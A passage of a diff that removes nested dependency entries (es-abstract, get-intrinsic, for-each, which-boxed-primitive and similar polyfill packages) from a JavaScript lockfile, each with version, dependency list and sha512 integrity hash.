- "jsx-ast-utils/array.prototype.flat/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "jsx-ast-utils/object.values/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "jsx-ast-utils/object.values/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "object.fromentries/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "object.fromentries/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "object.fromentries/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "object.fromentries/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "object.groupby/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "object.groupby/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "object.groupby/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "object.groupby/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "reflect.getprototypeof/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "reflect.getprototypeof/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "reflect.getprototypeof/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "reflect.getprototypeof/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "string.prototype.includes/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "string.prototype.includes/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "string.prototype.includes/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "string.prototype.includes/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "string.prototype.matchall/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "string.prototype.matchall/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "string.prototype.matchall/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "string.prototype.matchall/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "string.prototype.repeat/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "string.prototype.repeat/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "string.prototype.repeat/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "string.prototype.repeat/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "typed-array-byte-offset/reflect.getprototypeof/which-builtin-type/is-date-object": ["is-date-object@1.1.0", "", { "dependencies": { "call-bound": "^1.0.2", "has-tostringtag": "^1.0.2" } }, "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg=="],
-
- "typed-array-byte-offset/reflect.getprototypeof/which-builtin-type/is-regex": ["is-regex@1.2.1", "", { "dependencies": { "call-bound": "^1.0.2", "gopd": "^1.2.0", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g=="],
-
- "which-boxed-primitive/is-symbol/safe-regex-test/is-regex": ["is-regex@1.2.1", "", { "dependencies": { "call-bound": "^1.0.2", "gopd": "^1.2.0", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
